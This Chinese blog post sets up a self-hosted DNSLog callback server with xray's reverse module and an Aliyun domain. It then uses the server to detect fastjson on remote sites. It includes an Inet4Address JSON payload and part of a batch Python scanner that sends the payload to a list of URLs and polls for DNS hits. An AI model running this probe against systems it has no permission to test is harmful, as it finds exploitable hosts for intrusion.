0x01 ^$&!#@*

    因为ceye总是宕机,dnslog.cn不适合脚本化查询,
    所以就需要用自己的平台了,
    记录借助xray建立dnslog平台并以此来检测fastjson资产的过程(xray官方文档没写全,踩了点小坑)

0x02 准备零件

  • 1.一台服务器,最低配置都没事,能运行xray就行(设为我的服务器ip为:123.321.213.2)
  • 2.在阿里云购买域名(dnslog.cool)其他处不行哦,免费域名厂商的也可以,因为需要有设定DNS Host的功能

0x03 配置过程

    https://wanwang.aliyun.com/?spm=5176.12825654.eofdhaal5.9.3dbd2c4apKHcoB&aly_as=TNeZQ8Wpi
  • 1.此处购买域名,任意即可,因本人强迫症,购买dnslog.cool,跟随阿里云的购买流程即可,配置邮箱,配置个人信息等
  • 2.自定义DNS Host:等待实名认证审核完成,一般10到20分钟即可,前往自定义DNS Host功能处创建2个DNS服务器,比如设置sven1.dnslog.cool,sven2.dnslog.cool,IP地址填写服务器ip:123.321.213.2
  • 3.DNS修改:前往DNS修改功能,修改dns服务器为sven1.dnslog.cool,sven2.dnslog.cool
  • 4.域名解析:然后点击左边的域名解析功能,填加2条解析记录,主机记录填写sven1,记录类型为A,解析线路为默认,记录值为123.321.213.2(我的服务器ip),剩下默认即可,第二条解析记录的主机记录填写sven2,其他同上条
  • 5.确定域名的实名认证审核完成后,登录服务器(必须拥有独立外网ip的哦),下载xray,先使用命令行xray.exe reverse运行一遍,自动生成config.yaml,然后打开config.yaml,找到配置反连平台得配置(270行上下十来行都是),替换成如下程度,按照自己实际情况更换密码和ip和域名和dns服务器的前缀后运行xray(xray.exe reverse),运行完毕后访问链接:http://123.321.213.2:8001,就是dnslog管理平台了
reverse:
  db_file_path: "reverse.db"
  token: "123!@#QWE"           //此处是设置登录反连平台得密码      
  http:
    enabled: true
    listen_ip: 0.0.0.0
    listen_port: "8001"
  dns:
    enabled: true
    listen_ip: 0.0.0.0
    domain: "dnslog.cool"
    is_domain_name_server: false
    # 静态解析规则
    resolve:
    - type: A
      record: sven1
      value: 123.321.213.2
      ttl: 60
    - type: A
      record: sven2
      ttl: 60
      value: 123.321.213.2
  rmi:
    enabled: true
    listen_ip: 0.0.0.0
    listen_port: 8088
    resolve:
    - type: A # A, AAAA, TXT 三种
      record: localhost
      value: 127.0.0.1
      ttl: 60
  client:
    http_base_url: ""
    dns_server_ip: "123.321.213.2"
    remote_server: false
  • 6.生成用来检测的域名:复制好后直接ping xxxxxx.dnslog.cool即可收到请求

0x04 fastjson资产检测

利用dnslog回显检测后端是否使用fastjson

Payload之一: 
{"e":{"@type":"java.net.Inet4Address","val":"hbs9jr.dnslog.cn"}}


这样我的批量多线程检测脚本也就完成了,当然也只是一种思路,还有其他增加检测率的方法,部分代码如下

        try:

            randStr = ''.join(random.sample(string.ascii_letters + string.digits, 4))
            dnslog = '{'+'"e":'+'{'+'"@type":"java.net.Inet4Address","val":"p-1111-pgfx.{}.dnslog.cool"'.format(randStr)+'}'+'}'
            line=line.strip('\n')

            k = requests.get(line,headers=fastjson_header,data=dnslog,allow_redirects=False,verify=False,timeout=10)
            time.sleep(1)
            check = 'http://11111111111:8001/_/api/event/list?lastID=&count=5&eventType=dns&action=Next'
            wb_data = requests.get(check,headers=check_header,timeout=10)
            req = wb_data.text

            if randStr in req:
                print("[+ "+" 存在fastjson: "+"状态码:"+str(k.status_code)+":"+' url:'+line)
                f.write(line+"\n")
            else:
                print("[- "+" 不存在fastjson  "+"状态码:"+str(k.status_code)+":"+' url:'+line)
        except Exception as e:
            print(e)
            pass

吐槽

  • 1.xray说明文档未写清需要去域名解析配置dns服务器的解析
  • 2.浪费了一个域名,dnslog.run,在腾讯云买的,没有自定义dnslog服务器功能(谁要我转手...)
  • 3.所以都怪ceye没事宕个机 -.- !